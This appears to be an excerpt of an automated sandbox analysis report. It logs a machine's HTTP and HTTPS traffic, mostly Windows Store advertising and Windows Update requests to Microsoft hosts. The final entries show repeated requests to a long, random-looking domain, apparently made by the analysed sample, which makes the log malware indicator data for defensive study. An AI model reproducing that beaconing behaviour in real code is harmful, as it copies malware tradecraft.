Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113501Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113503Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113504Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113506Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113507Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T113508Z&asid=e941bfdf0cf74516aa2bf7a65612c676&eid= HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1431703749&PG=PC000P0FR5.0000000IRT&REQASID=967C575FCAA545E8B023292634A6DF93&UNID=338388&ASID=050baa4fa0f24ea7927b6e9cdf774262&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=eb47383d57644acd95950a6f6bba3d4a&DEVOSVER=10.0.17134.1&REQT=20220721T023430&TIME=20220721T113510Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=1431703749&PG=PC000P0FR5.0000000IRT&REQASID=967C575FCAA545E8B023292634A6DF93&UNID=338388&ASID=050baa4fa0f24ea7927b6e9cdf774262&PERSID=02AA8208DC2442607EBF3783DF63721D&GLOBALDEVICEID=6825795053065338&LOCALID=w:BE8AB8DF-DCD1-3523-4A95-3A04EAFF1CBA&DS_EVTID=eb47383d57644acd95950a6f6bba3d4a&DEVOSVER=10.0.17134.1&REQT=20220721T023430&TIME=20220721T113518Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=E4a8Z3ah7r+V2fA&MD=rnFuFXSC HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81Host: sls.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGGZM6WM&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113538Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113538Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113540Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113541Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113542Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113543Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113544Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113545Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113545Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=07f7ecd0631c402ca31eff424dbe48ac&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=8e1d346115d54b82b12368855488cdf3&time=20220721T113546Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113551Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113552Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113553Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113554Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113555Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113556Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113557Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113559Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113600Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRDFNG7&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113601Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113601Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=931facca37bc41db99150cc165b3c1da&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e941bfdf0cf74516aa2bf7a65612c676&time=20220721T113602Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.comCache-Control: no-cache

Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.82.209.183:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.67:443 -> 192.168.2.6:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.4:443 -> 192.168.2.6:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:50204 version: TLS 1.2
